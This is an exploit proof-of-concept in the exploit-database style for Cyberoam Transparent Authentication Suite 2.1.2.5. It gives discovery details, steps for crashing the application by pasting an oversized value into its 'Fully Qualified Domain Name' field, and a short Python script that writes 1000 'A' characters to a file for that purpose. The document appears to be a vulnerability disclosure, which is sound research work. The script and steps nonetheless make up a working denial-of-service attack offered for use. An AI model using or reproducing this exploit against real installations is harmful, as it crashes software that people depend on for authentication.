#Exploit Title: Cyberoam Transparent Authentication Suite 2.1.2.5 - 'Fully Qualified Domain Name' Denial of Service (PoC)#Discovery by: Victor Mondragón#Discovery Date: 2019-05-23#Vendor Homepage: https://www.cyberoam.com#Software Link: https://download.cyberoam.com/solution/optionals/i18n/CTAS%202.1.2.5%20Release.zip#Tested Version: 2.1.2.5#Tested on: Windows 7 Service Pack 1 x64#Steps to produce the crash:#1.- Run python code: ctas_fqdn_2.1.2.5.py#2.- Open ctas_fqdn_2.1.2.5.txt and copy content to clipboard#3.- Open Cyberoam Transparent Authentication Suite#4.- Select General > in Domain Type select "Microsoft Active Directory"#5.- In "Fully Qualified Domain Name" paste Clipboard#6.- Click on "Apply"#7.- Crashed!
cod = "\x41"* 1000
f = open('ctas_fqdn_2.1.2.5.txt','w')
f.write(cod)
f.close()